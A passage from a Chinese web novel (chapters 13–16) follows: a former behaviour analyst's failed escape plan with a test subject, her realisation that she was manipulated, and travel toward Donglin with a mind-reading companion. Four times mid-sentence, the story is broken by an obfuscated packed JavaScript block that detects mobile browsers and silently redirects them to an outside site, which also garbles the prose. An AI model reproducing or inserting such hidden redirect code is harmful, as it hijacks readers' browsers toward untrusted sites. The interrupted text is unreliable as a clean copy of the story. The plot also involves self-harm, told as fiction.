“谢了。” “客气。” 做完这番简短的交流,同事便扬长而去。 走道人来人往,再无人关心乔韫。 乔韫亮出手臂,拿着针筒的手仍在发颤,她侧过身,用墙面固定住大臂,然后,将针头稳稳扎入皮下。 随着药剂的液柱缩短,乔韫的大脑渐渐清明起来。 她从有记忆以来便待在组织里,所受到的教育均通过组织筛选。 乔韫从来就分不清什么是正常的,什么又是不正常的。 就像现在,因共情而产生的躯体化反应,在教科书中属于典型的神经症表征;但在组织里,只是件“打了安定剂就没事”的小事。 乔韫打心底里恐惧着这些。 她的身体提醒着她: “快逃”。 乔韫的眼神缓缓聚焦,落在手心早已干涸碎裂的呕吐物上。 【姐姐,带我走吧。】 她脑子里突然冒出这句话。 为什么不呢? 江临仙单枪匹马,逃离失败。 但六号可是目前最成功的“终极兵器”,如果同他合作,未必不能逃出生天。 为什么……不试着逃走呢? 乔韫撑着墙,站了起来。 组织明确规定,禁止任何工作人员与实验体私联。 但乔韫常年同组织耍小手段,对于如何避开摄像头、如何编造令人信服的借口,她都经验丰富。 于是翌日晚,她出现在六号的实验屋门口,送出了微型通讯设备。 “六号,是我,乔韫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506310|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别出声,不要表现出任何异常,仔细听我说。 “我打算带你离开这里。 “但你得冒个险。” 乔韫的计划很简单。 整个基地,只有六号的实验屋是加急用高精度材料制作的。 他身上的异变并非定向进化,基地在六号异变后,能迅速将他的实验屋防御升级,已经是难得的效率了。若要全面提高基地防御,一是耗时耗力,二是暂无必要。 毕竟六号的活动地点只有实验屋。 升级实验屋,足够管控住六号。 这便给了乔韫可乘之机。 一旦六号离开实验屋,以他的超常本领,足够撼动基地当下的防御系统。 那么,如何让六号在重重监管下,离开实验屋呢? ——“自杀”。 实验屋的首要作用是监管,虽配有医疗设备,但并不具备急救效用。 一旦六号做出危及生命的自伤行为,实验员们会迅速将他转移到急救室。 从实验屋到急救室,需要经过两条走廊,耗时2分30秒。 乔韫会提前破坏第二条走廊的灯光设施电路,引起突发停电。 同时,在六号自杀当天,乔装成医护人员,当灯泡熄灭,乔韫会为六号注射强心剂。 至于止血措施,乔韫想,实验员会在发现六号受伤时就做好,不需要她操心。 到那时,她与六号,便能够杀出重围,离开基地。 在此之前,她的第一步行动是—— 送刀片。 乔韫将刀片夹进行为分析资料里,趁“心理咨询”时,将它夹在指缝,避开监控,递给了六号。 第一步,成功。 然后,乔韫趁着夜色,改装了走廊灯光电路。 第二步,成功。 然而,直到第三步—— “全体注意!六号出现自伤行为,正调取最佳路线,送往急救室。目前暂定占用A23走廊与B7走廊,请全体员工绕道,避免延误救治!重复,六号出现自伤行为……” “不行,张博士,他割得太深了,止不住血!” “凝血剂呢?” “已经注射过了,没用!” “把止血带再扎紧一点!” “是!……张博士,他、他心跳停了。” “什么?快,就地进行心肺复苏!血袋呢?还没送来吗?!” …… 嘀—— 动态心电图仪上的基线趋于平稳,发出刺耳的嘀声,宣告了六号的死亡。 第三步,失败。 乔韫目睹了这条生命的逝去。 在那时,她猛然想起—— 【我一使力,他的腿就掉下来了。】 乔韫僵住了。 她忽略了这最重要的一点: 六号还不完全具备控制自己力量的能力。 所以他很可能无法明确自己自伤的界限。 六号的死亡,或许是因为乔韫这并不完美的计划造就的。 是乔韫杀死了六号。 组织很快就查到了这场闹剧的始作俑者。 毕竟能给六号送刀片的人,就集中在乔韫所在的小组中。 再辅以全方位的筛查,基本能确定,是乔韫促成了六号的死亡。 乔韫对此供认不讳。 但令她意外的是,组织竟决定让乔韫离开。 六号的死,为乔韫换来了梦寐以求的自由。 这才是乔韫利用六号的初心,不是吗? 14. 幻觉 “你不必再试探我了,六号就是五号,五号就是六号。” 五号的声音无波无澜,切断了乔韫的刺探。 她终于抬起头,直视乔韫映在后视镜的眼睛。 “我们早已融为一体,不是记忆的拼接,也不是过往经历的简单叠加,还有……性格,性格的棱角被相互磨平、重组,那些根植于本能深处的反应模式,以及……” 五号稍稍停顿,似乎在搜寻最准确的词汇。 “以及你能想到的其他方面。都已缠绕交织,难分彼此。” 乔韫移开目光。 她感到一股寒意正顺着脊椎爬升。 原来如此。 不是她最初设想的“覆盖”——一个意识粗暴地抹去另一个;也不是“主导”——一个意识占据上风,操控着公用的身躯。 而是更加彻底,也更令人不安的“融合”。 就像两种不同的金属,经由煅烧、捶打,最终变成了全新的第三种物质,亦即“合金”。 合金不仅能够具备二者的优点,甚至在提取难度方面,要简捷得多。 是种很高效的材料。 但—— “‘早已融为一体’,是指多早?” “没有回答的义务。”五号回答得很快。 乔韫的嘴角牵起一抹刻意的弧度。 “江城子说了,让我俩合作,连这点信息都舍不得交换,还谈什么‘合作’?” 她似乎对五号的回答早有预料,身体前倾,趴在方向盘上,做出一派毫无防备的样子,试图潜移默化地减轻五号的防备。 “我只是来传话的,这算不上什么合作。” “哈……” 乔韫喉咙里舒出一声短促的嘲讽。 这笑声还未完全消散,她便像弹簧一般,迅速挺直脊背,面朝五号,转了过去。 “你还没搞清楚状况,小姑娘,”乔韫将身体整个侧了过去,脸颊挨着椅背,远远看去,几乎要以为她在车上睡觉,“目前的状况是二比一,我和林听两个,对你一个。” 五号攥紧了手,但仍不忘反击: “我现在就能摘下你的信号屏蔽仪。” 挑拨离间?有点意思。 可惜,她的对手是乔韫。 “如果,我不担心这个呢?” 乔韫在赌。 关于林听,乔韫掌握的信息比组织多得多。 无论是林听的传递心声能力,还是他的读心范围,抑或……他的读心方式。 林听只能被动接收他人的心声,而无法探测深层的记忆。 乔韫赌自己没猜错。 也赌五号不敢赌。 “你真要叛变?” “这就要看你的表现了。你也知道,我不是第一次做出这种事。” 五号将头低了回去,双手绞在一起,肉眼可见地在纠结。 ……这群实验体都这么心思单纯的吗。 乔韫扶额,耐心等待五号的回答。 “两年。” “嗯?” “我们在两年前,就完成了大脑融合。” 乔韫呼吸一滞。 两年前,六号死亡,乔韫被组织扫地出门。 可以说,六号一死,组织就迅速安排了所谓的“大脑融合”。 这则信息……和江城子所说的“五号的大脑移植了六号的模拟芯片”完全不同。 乔韫脑中一时闪过许多线索碎片,但任凭她如何努力,也无法将其串联起来。 她需要更多信息。 “六号究竟是怎么死的?” “如你所见,”五号的回答几乎是程式化的,带着些许麻木,“割腕自杀,失血过多而亡。” 她微微偏头,眼神中流露出一丝真实的困惑,似乎对乔韫执着于这个“显而易见”的问题而感到不解。 在乔韫看来,这困惑本身,就是一种异常。 “不……”乔韫揉揉眉心,仿佛要揉散那团困扰她的迷雾,“或许我该换个问法:六号死的时候,五号在哪里?” 五号闻言,眉头紧蹙,微张着唇,极力回忆着。 “我……太久了,我记不清了。” “究竟是‘记不清’,还是‘不记得’?” 乔韫的语气顿时严肃起来,若说她刚才扮演的是“试探者”,那现在,她便是“审判官”。 五号不由得挺直脊背,紧张起来。 “不记得。” 她脱口而出。 这就对了。 乔韫心中那个模糊的推测瞬间被点亮。 六号,懦弱、情绪化,根本不具备作为“终极武器”的特质,若不是无意间得到进化,怕是早被实验员当残次品处理掉了。 资源有限,实在没必要养着这么个“废物”。 但如果……如果他们能将六号的能力,转接到另一个更完美、更符合标准的“容器”身上呢?转接到那个更果决、坚韧,也更忠诚的五号身上? 二人身为双生子,基因高度相似,连排异反应都能很好控制在可接受的范围内。 一切都说通了。 为什么她送刀的行为明明避开了所有监控探头的捕捉角度,却在事发之后,如此迅速且精准地被锁定为首要嫌疑人? 为什么她破坏走廊线路的行动能进行得异常顺利? 六号不是傻子。他或许控制不住力道,但他绝对知道疼痛的滋味。依他的性格,割腕时能狠下心割深才怪。更大的可能是浅尝辄止,留下一道需要包扎,但绝不致命的伤口。 退一万步讲,就算他当时情绪失控,真的割深了……凝血剂、止血带,即使不能完全止住血流,也完全能极大程度地减缓失血速度,为抢救赢得宝贵的时间。 他怎么可能连这点时间都成不到,就死在了去急救室的路上? 以及,最后一个,也是最大的疑点: 她乔韫,一个捅了天大的篓子,直接导致一个宝贵实验题死亡的“罪魁祸首”,凭什么在事后还能安然无恙? 组织对待叛徒,或重大过失者的手段,她再清楚不过。 她的全身而退,就是最大的反常。 所有的线索都指向一个令人毛骨悚然的答案: 如果,乔韫自始至终都只是组织“能力转接计划”中,一枚被利用的棋子? 一枚被刻意引导去接触六号、提供“凶器”、制造混乱,最终完美承担罪责的棋子? 如果,六号的死亡根本不是出于自杀,而是一场精心策划的谋杀? 一场以“融合”为最终目的的献祭? 如果……那个所谓的“意外”,根本就是整个计划中不可或缺的一环? …… 乔韫啊乔韫。 彻骨的寒意从脚底窜遍全身。 一种深深的无力感将乔韫淹没,比两年前被驱逐时更甚。 那时,她以为自己逃脱了,或者说,至少暂时脱离了那个巨大的阴影。 直到现在,乔韫才意识到,她从未真正地逃离。 她的每一步挣扎,每一次自以为是的反抗,或许都只是沿着被设计好的网线爬行,从未触碰到真正的边界。 她的自由,从一开始就是幻觉。 五号看着脸色变幻莫测的乔韫,下意识想要闭嘴,以免打扰到她。 但,没办法,自己也只是个打工的,总得完成任务啊。 “我已经回答了你的问题,你想好了吗,是否忠于组织?” 乔韫没有回答,反而直起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506311|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,将目光投向了车外的林听。 隔着单向玻璃,就像他俩第一次见面那样。 那次,林听目光阴沉,小心又笨拙地隐藏着自己的能力,身后是他竭力维持着平稳的数据大屏。 而这次的林听,低着头,踢着地上的草皮,如第一次探索世界的孩童,身后是一望无际的广袤大地。 小莫曾在测谎室质问乔韫: 【九号实验体是否让你联想到六号实验体?】 乔韫回答了“是”,测谎仪难得地没有亮起红灯。 六号,曾是乔韫通往自由彼岸的桥梁,一条充满风险,但也伴随着希望的道路。 九号,林听,当时也成为了她的棋子,一条看似可行的新路径。 他们对乔韫而言,本质上都是可利用的工具,没什么不同。 休息了两年,乔韫都快忘了,自己可是十四岁成为谛听预备组员、十八岁就转正成为行为分析师的“天才骗子”。 “当然,”乔韫收回目光,“下一步计划是什么?” 她骗了林听。 五号得到乔韫的答复,如释重负。 江城子说过,乔韫不一定会服从组织命令,叫五号见机行事,至少让乔韫到达目的地点,如果连这都无法做到,就—— 杀了乔韫。 五号并不愿意这样做。 还好,乔韫愿意服从。 “去东林。” 乔韫一怔,反问道:“东林?” “是的。” 五号顿了顿,继续道:“江城子和我说过,哪怕我被你俩联手解决掉,你也会选择去东林。” 乔韫看向自己架在方向盘边的手机。 啊。 那则“宗教圣地:东林”的广告,果然是早就安排好的诱饵。 是的,她又错了。 错得离谱。 江城子一早就黑进过她的手机,这一点,乔韫很清楚。 而她,由于太习惯于手机的存在,竟忽略了江城子在自己手机上安装监管系统的可能性。 乔韫大老远地跑到柳城改车,完全是多此一举。 不仅如此…… 乔韫瞥了眼后座的五号。 她在柳城遭遇伏击,被迫接下了这么个包袱,哪怕乔韫下一步行动就是将五号甩下,但五号给乔韫带来的冲击,已足够动摇乔韫。 江城子先她一步,算好了所有可能性。 “到东林之后呢?” “我不能透露更多信息。九号拥有读心能力,如果你被他摘下干扰器,计划就暴露了。” 乔韫长长叹了口气。 “好吧,接下来是我的述职报告,你好好记下来,转达给江城子。” 这是谛听组员面对高度机密信息时的标准流程——统一要求口头叙述,严禁留下任何可能被截获或泄露的文档。 声音,是传递秘密最短暂,也最安全的载体。 “关于九号实验体,经过近期密切观察与初步测试,已基本确定其读心范围有限:为以自身为中心,直径十米左右的球形空间。超过此范围,能力急剧衰减至无效。 “该能力的副作用表现明确:头疼,严重时可导致其丧失行动能力。 “常规非处方止痛药对其头疼有明显抑制效果,但具体作用时长未知;值得注意的是,精神类药物劳拉西泮,同样能显著减缓头疼症状。 “据九号本人主观描述反馈,劳拉西泮的镇痛效果优于止痛药,作用时长约为十小时。 “最后,九号不仅能够读心,还能主动将自己的心声内容定向传递给指定个体。不排除将来发展为‘精神操控’的可能性。 “以上为现阶段观察与分析结论。 “汇报人:乔韫。” 15. 东林 东林,之所以被称为“宗教圣地”,而非“佛教圣地”或“道教圣地”,只是因为它同时承载了多个宗教的文化。 本土佛教、道教,甚至其他原始宗教,都奇妙地汇聚在此处。 仿佛踏上东林的山脉,就来到了离“神”最近的地方。 乔韫开了近十天的车,才终于来到东林的边界。 正值早秋,碧空如洗。 随着海拔的升高,才渐渐有几分“秋”的寒意。 “路上好像没碰到几个游客。”林听开口道。 随着一路人烟渐稀,林听的头疼症状减轻许多,也不知道是因为这点,还是因为他第一次跑这么远,太兴奋导致的,这一路上,他话多了不少。 “旅游淡季,没多少人爱往这边跑。” 反观乔韫,离目的地越近,话也随之少了很多,毫不遮掩地摆出一副“有心事”的样子。 可惜林听全然未觉。 往好处想,就是因为他太信任乔韫;往坏处想,就是: 他缺心眼儿。 “八月,应该是旺季才对。” “对别的地方来说,或许是旺季,但对于东林……” 轰隆—— 乔韫话音未落,远方便传来一声雷鸣。 公路旁间或几头吃草的牛羊,在此时不约而同抬起了头。 “在这个季节,容易变天。” 一团阴云自后方滚滚而来,乔韫不禁感慨:“真是说曹操曹操到啊。” “雨会下很久吗?” “讲不好,可能只下几分钟,也可能要下好几天。” “这样。” 乔韫微微踩下油门,试图尽早开进城镇,在雨来前,找个落脚点。 可偏偏事与愿违,就在她拐过两个弯后,前方突然一阵骚动。 她急忙刹车。 是羊群。 不,说“羊群”的确有些过头,按这个规模,只能叫“小羊之家”。 一头大羊,两头小羊,站在路中央,与前方的小女孩较量着。 “走呀,羊!走呀!” “咩——” “我没有不让你吃草,要下雨了,你走呀!” “咩——” “别叫!” “咩——” 乔韫被逗得笑出声来。 林听注意到了这一幕。 自从放走五号后——不,还要更早——自从乔韫“审问”五号后,她脸上的笑容便少了很多。 虽然乔韫平日里的笑也算不上真诚。 她像只狐狸,并喜欢大方扬起“狐狸式微笑”,叫人哪怕知道她一肚子坏水,也忍不住凑过去,心甘情愿地落进她的陷阱。 可现在乔韫不笑了。 是因为五号……还是,六号? 这个人,能让乔韫都显露出真诚的一面吗? 林听试图不去想,也不去问,可他的反应出卖了自己。 ——他开始没话找话了。 这样真的很蠢,林听并不是个擅长聊天的人。 但当他说话时,乔韫的注意力会稍稍移到自己身上。 这样就够了。 “小姑娘,你这羊什么时候才能赶走啊?挡着我们的路了。” 乔韫摇下车窗,将上半身倚在车窗上,心情颇好,开始逗起小孩儿来。 山区的小姑娘似乎都长得不高,脸上风吹日晒的,竟显出几条皱纹。她操着一口并不流利的普通话: “对不起!我,马上……!” 一边说,她一边更加卖力地拽起头羊的缰绳。 羊岿然不动。 乔韫更乐了:“要不要我下来帮你?” 小姑娘的眼神登时带上警惕,也不扯着羊了,开始打量起乔韫来。 “怎么,担心我是坏人啊?” “没……”她顿了顿,一咬牙:“那你来帮我吧。” 轰隆—— 雷声更近了,浇灭了乔韫继续打趣的心思。 她拍了拍林听肩头:“下车,哄小孩儿去。” 林听一愣,食指指向自己鼻尖:“我吗?” 他?哄小孩儿?真的吗? 那个小姑娘看着好像不需要哄…… 啊,乔韫又在开玩笑。 林听的反应让乔韫很满意,她爽朗大笑几声,打开车门,径自走向那孩子。 林听反应过来,顺势跟上。 “我叫乔韫,你叫我乔姐姐吧——这羊是为什么不走了?” “我是白玛,”白玛踟蹰片刻,似乎对自己亮出名姓感到不安,“我猜它是不想回家。” “你家远吗?” “不远,再往前走一里就到了。” “不在镇上?” “不在镇上。” “行。”乔韫略一思忖,“林听——” “我在。” 林听答得很快,似乎早就想到乔韫会喊自己。 ……这算什么,小林同学吗。 乔韫在心里淡淡吐槽了一嘴。 “你牵羊,我和白玛在车里带路。好人做到底,把人家送回去吧。” “好。” “我家没钱,你们去了可别想着抢劫啊!” 乔韫一怔。 随即亮出一个阴森森的笑:“那也得去了才好说。” “我可不怕你……们!” “那你敢不敢上车?” “有什么不敢的,上就上!” 林听:…… 算了,乔韫开心就好。 白玛一只脚刚踏进车,林听便牵着绳,问道: “这里怎么只有一根绳?两只小羊不用牵吗?” 白玛一边爬上车,一边回答: “它们都是母羊的崽,会跟着母羊走的!你把母羊牵好就行。” 待白玛落座,乔韫便发动汽车,绕到林听前面,根据白玛的指示,为他带路。 轮胎碾过草尖,激出青草的香气。 林听跟在缓缓挪动的车后,身后的羊发觉自己的力气不敌这男人,便乖顺跟着走了起来。 羊蹄错落着踩上草地,发出“沙沙”声。 “看!前面那个毡房就是我家。” 不过几分钟的功夫,白玛便扬起手臂,指向前方,语气不乏兴奋。 乔韫顺着她指的方向望去,眯了眯眼,打量起来。 那个毡房和乔韫所想象的毡房截然不同。 很小,小到几乎只能住一两个人。 很脏,整个外表都成了灰棕色,很难看出原先的白底。 “你一个人住?” 白玛肉眼可见地一愣,似乎有些慌张:“没、没有啊,我阿爸阿妈很快就回来了。” “少诓我,我会读心术,你想什么,我统统都知道。” “怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506312|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,你才骗人呢!” “我看看啊……你在想:这个漂亮姐姐一定是坏人,怎么办怎么办——对不对?” “你怎么知道?!” 乔韫脸上的笑容越来越大了。 她特地夹带私心,暗搓搓夸自己漂亮,没想到白玛还真应下了。 如果白玛意在哄自己开心,那她的确是个哄人的高手。 不过乔韫更倾向相信那句老话: ——小孩儿哪会骗人啊! “现在相信我会读心术了吧?还不乖乖交代,你家到底是什么情况?” 白玛努了努嘴,才坦白道:“我阿爸阿妈,去年采药,从山上掉下去,死了。” “啊……” 乔韫有点后悔提起这茬了。 她怎么老遇到这种尴尬的场面? 但白玛却没流露出半点悲伤,仿佛只是在叙述一件微不足道的事。 不像林听,提起这种事老哭鼻子。 “我阿爸总是揍我阿妈,我阿妈总是揍我,他们死得活该!” 乔韫挑眉。 看不出来,这小姑娘还是走大女主路线的。 她下意识侧首,瞄了眼后视镜里的林听。 这样比较的话,林听其实有过一段很幸福的童年吧。 “那我恭喜你逃离苦海?” “逃离什么苦海呀,我就剩这几头羊了,穷得响叮当。” 白玛少年老成的样子,让乔韫心底泛起一阵同情。 当然,乔韫也很惊讶自己居然会“同情”。 “要不这样吧,马上下雨了,我给你二百,你让我和林听——就后面牵羊的哥哥——在你家躲一阵子雨,怎么样?” 两百元,对于其他地区或许只是一顿算得上不错的餐食,但对于东林边陲地区,算一笔可观的收入了。 或许够白玛生活半个月。 “哇,真的呀?谢谢乔姐姐!” 车停在毡房前。 白玛将两只小羊赶进毡房,拴好,又准备将母羊赶去旁边的羊棚,说是小羊淋了雨容易感冒,母羊块头大,挤进毡房太占地方。 看来她经常把羊安置在毡房里。 房里有股浓浓的羊膻味。 今天应是见有客,才将母羊赶走。 乔韫如是想着。 等白玛的身形消失在门外,乔韫才压低声音,询问林听: “你能听到白玛的心声吗?” 林听喉咙里轻轻发出一声语调上扬的“嗯”,似乎不明白乔韫为什么这么问,但还是如实回答: “可以,但……”林听将目光投向门外,“她的心声全是藏语,我听不懂。” 乔韫:…… 这读心术到底有什么用啊?限制太多了吧? “有什么问题吗?” “不,没什么。” 乔韫希望没什么问题。 白玛的出现太过巧合,并且,乔韫后知后觉地意识到,白玛的行为,对于一个孩子来说,或许过于……大胆? 一旦进入东林,就说明林听——或许也包括她乔韫——跨入了危险地带。 乔韫现在有点草木皆兵。 轰隆—— 第三声雷响。 紧接着,豆大的雨滴噼啪落下。 “白玛——下雨了,快回来!” “来啦!” 乔韫希望一切如常。 16. 骑士 “一切如常,计划可顺利进行。” 五号拿起手机,朝通讯人录下这样一句话。 雪山上的信号不稳定,这则讯息转了好几个圈,才成功发送出去。 她静静等待片刻,一则新的语音信息送达: [我们这边遇上了暴雨,行程被耽搁,要过两天才能到。] 是江城子。 五号远远眺望,的确见到一团雨云,正笼罩在不远的边陲。 但那并不是困住江城子的雨云,而是困住乔韫的雨云。 江城子在更远的地方。 [你提前做好准备。] 江城子的第二条信息紧随而来。 提前准备……? 五号蹙了蹙眉,将手机放进防水袋,再揣进怀里,四处打量片刻。 随即,她朝一处雪团走去。 然后,将整个人摔进雪团。 噗! 雪花四溅,又落回五号身上。 江城子对五号要求的“准备”,只有睡觉。 五号需要充足的睡眠,才能保证行动的自如,所以,如果没有特殊安排,五号基本都在睡觉。 只能在雪里多睡两天了…… 天色渐暗。 毡房。 白玛不知从哪里削了块风干牛肉,硬邦邦的,放在桌上能发出“叩”的一声。 她为款待乔韫这二位远道而来的“客人”,特地往炖土豆汤里加了牛肉。 小火慢炖,足足过了一个小时,土豆块里的淀粉析出,形成了黏糊糊一锅汤,散发着风干肉的咸香味,溢满整座毡房。 这顿饭虽然简单,但仍勾得乔韫食指大动。 “呀,小白玛,你还挺能干的嘛!” 白玛闻言,脸上止不住地笑,忙给乔韫舀了碗冒尖的土豆汤。 “嘿嘿,这土豆还是我自己种的呢!” 语罢,她便要给林听舀汤。 林听起身,接过白玛手里的汤勺:“我自己来吧,你坐。” 白玛似乎没想到林听会有这步动作,一怔,便顺从坐了回去。 与此同时,一碗热腾腾的炖土豆摆在了她面前。 是林听盛的。 白玛微微瞪大了眼,看看林听,又看看自己的碗。 “吃呀,愣着干嘛?” 乔韫催促道。 “我……还没人给我盛过饭呢。”白玛不好意思地笑笑,又猛地想起什么似的,站起身来,“对了!你们吃不吃糌粑?我去给你们拿!” 没等乔韫二人回答,白玛便窜了出去,再回来时,带着一个盆,和一瓶酒。 盆里是青稞炒面,酒是青稞酒。 白玛将酒分次倒入盆内,用手将面团捏在一起,成一个个椭圆的小团,码好,摆在盘里。 “这个糌粑很香的,你们尝尝!” 实不相瞒,这个形状、这个颜色……让乔韫想到牛粪。 但她对糌粑这种民族美食早有耳闻,心想,既然是特色美食,必然有它的独特之处。 没准会很好吃呢? 于是乔韫伸出手,拿了一块,小小地咬了一口。 …… “嗯!这个好吃,林听你快尝尝!” 林听:? 真有那么好吃? 他表示怀疑,但他怀疑的是糌粑,而不是乔韫。 于是林听也拿了一块尝。 “咳……咳咳!” 果不其然,林听再次被呛到,这次仿佛有经验了一样,堪堪咳几声,便将拳虚握在嘴边,只留下几声从胸腔发出的浅咳。 “这个、咳,怎么这么辣?” 乔韫登时乐不可支,笑得身体后仰,险些没坐稳,栽个跟头。 白玛着急忙慌地为林听端来一杯水: “辣?怎么会……哦,你是说酒辣,对吧?酒哪有不辣的呀?” 诚然,酒没有不辣的,但白玛这瓶青稞酒,的确有些辣过头了。 连乔韫都被这酒烈得愣神,更何况滴酒不沾的林听。 “白玛,这酒是你自己酿的?” 青稞酒,度数应该不高才对,可白玛这酒,粗摸估计,得有三四十度,于是乔韫猜想,这估计是白玛自酿的酒,还没发酵到合适的度数,就稀里糊涂给他们端上来了。 “不啊,我哪会酿酒。这酒——一说起来,我就气!” 白玛说着,身体前倾,神色凝重,做出一副讲故事的模样。 乔韫见状,一边啃了口糌粑,一边拿起林听喝了一半的水,仰首往嘴里送。 林听将目光投向全神贯注听故事的乔韫,又瞄了眼水杯,别过脸,嘴角微微勾起。 “我跟你们说啊……” 啪! 突然,电光一闪,屋内陷入一片黑暗。 停电了? 乔韫立即警觉起来,右手不动声色地按上内兜的枪。 而林听,几乎下意识般,伸出手,轻轻覆上了乔韫的左手手背,试图安抚乔韫。 他一碰到乔韫,就忍不住放轻动作,生怕自己的力道太大,会伤到她。 “欸,又停电了,一下雨就这样。你们别急,我去拿蜡烛。” 一阵窸窣声响起,乔韫听见白玛的脚步声绕到自己身后,脊背瞬间绷得更紧。 啪嗒! 一声异响在乔韫身后响起。 她登时作出反应,侧身准备掏枪,却被林听一扯小臂,整个跌进他怀里。 “没事,有我。” 林听将头稍稍低了下来,嘴唇靠近乔韫耳畔,吐出的话语带着热气,擦过她耳垂。 乔韫的后背紧贴林听胸口,能感受到他沉稳的心跳。 呲——嚓! 白玛擦燃火柴,点燃蜡烛,火光亮起。 “刚才我把什么东西碰掉了?乔姐姐你帮我找——你们怎么抱一起了?” 火光跳跃,将白玛脸上的细纹衬得更甚,乔韫抬头望去,竟恍惚间以为她是个老者。 “啊,这个嘛……” 乔韫莫名生出一股被抓包的慌张,将手肘弯起,准备撑着地板,将自己的上身立起,却一个不注意,直接将手掌摁上了林听的大腿。 ……更奇怪了,看起来就像乔韫故意揩林听的油。 她索性破罐子破摔,心安理得地躺回去,说: “你林听哥哥身上舒服,我躺会儿。” 乔韫倒真没撒谎,她的后脑勺正好搁在林听放松的胸肌上,软乎乎一团,的确舒服。 林听也不辩解,只贴心地侧了侧身,拿来一块抱枕,将乔韫悬空的腰垫上。 “这样会更舒服,姐姐。” “嗯……” 太贴心了。 林听仿佛天生会照顾人一般,在出逃这小半个月的时间里,处处注意着乔韫的需求。 乔韫口干了,便发现手边正好有瓶水;出汗了,林听也会“不小心”抽多几张纸巾。他从不让乔韫意识到自己的存在,只让乔韫慢慢觉得: 有林听在身边,一切都会变得顺利。 “那你们还听不听我讲故事啊?” 白玛不像其他小孩儿,发现事态有疑,便要大声嚷嚷半天,势必问个明白。 相反地,她注意到了二人间微妙的电流,很懂事地绕过了这个话题。 “听,当然听。小白玛说到哪儿了?” “说到酒啦!——这酒,是我前两天去镇上卖羊,用羊换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506313|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” 乔韫躺在林听怀里,不多时便涌上困意,但仍强撑着精神回道: “用羊换酒?太亏了吧。” 白玛将嘴一撇:“是吧?我当时牵了羊,要去换钱,结果收羊的大叔非得说,我牵羊去换他家的酒!一边说,还一边把我的羊牵走了,我力气没他大,抢不过他,干脆一屁股坐在地上,开始哭! “大叔这才着急了,拿起瓶酒就往我怀里塞,说:你要的酒,给你!别在我这里哭,我要做生意! “我就说:我才没有要换你的酒,我要钱!一头羊羔五百块,我们说好了的! “他还想赖账呢,可卓玛阿姨看见这边了,就赶过来,说:多吉!你这个不要脸的,连小孩儿的钱都骗。哈哈哈…… “然后,卓玛阿姨一边骂,一边替我抢回了羊羔。我问卓玛阿姨:这酒怎么办?你猜她怎么说? “她说:什么怎么办?这酒是多吉大叔送你的,你拿回去吧!” 没有人搭话。 回应白玛的,只有乔韫绵长的呼吸声。 白玛敛起笑,小声问:“她睡着啦?” 这话明显是对林听说的。 可林听却没给白玛一个眼神,只淡淡点了个头。 “那你把她放下吧,我把炕上收拾一下——我这里只有一张炕,得委屈你们和我挤一挤了。” 说着,白玛就要凑上前,像要帮林听安顿乔韫。 “不用,”林听立马应道,“她觉得这样舒服,就让她躺着吧。我今晚不睡觉,正好替你看着羊。” 人哪能一整晚不睡觉呢? 白玛伸出的手顿了顿,见林听神色淡淡,不像在开玩笑,还是将手收了回去。 她将桌上的餐食收好,在一阵被特意控制了音量的叮当声过后,白玛“噗”地一声吹灭蜡烛,爬上炕,蜷缩在小小的一角。 “明天,如果雨停了,我就要去镇里继续卖羊,你们能捎我一程吗?” “嗯……”乔韫应该不会拒绝。 “可以。” 屋内又回到一片黑暗。 屋外,雨仍在淅淅沥沥下着。 林听垂头,注视着乔韫的睡颜。 作为实验体,他的夜视能力要比寻常人强出许多,在这样的境况下,他甚至能看清乔韫的睫毛颤动。 他勾起一个稍显无奈的笑。 原来,乔韫也会听着故事睡着。 林听很喜欢听故事。 当然,他只在小时候,听林照讲过故事。 林照总给他说骑士救公主的戏码,但,她也会说:这些童话真没意思,公主永远是受困的,骑士永远是无敌的,就不能有骑士一样的公主吗? 林听遇见乔韫时,年纪不大,刚满六岁,正是满脑子童话的年纪。 只需一眼,林听便认定,他找到了“骑士公主”。 公主会带着她的骑士,逃离高塔。 他等到了。 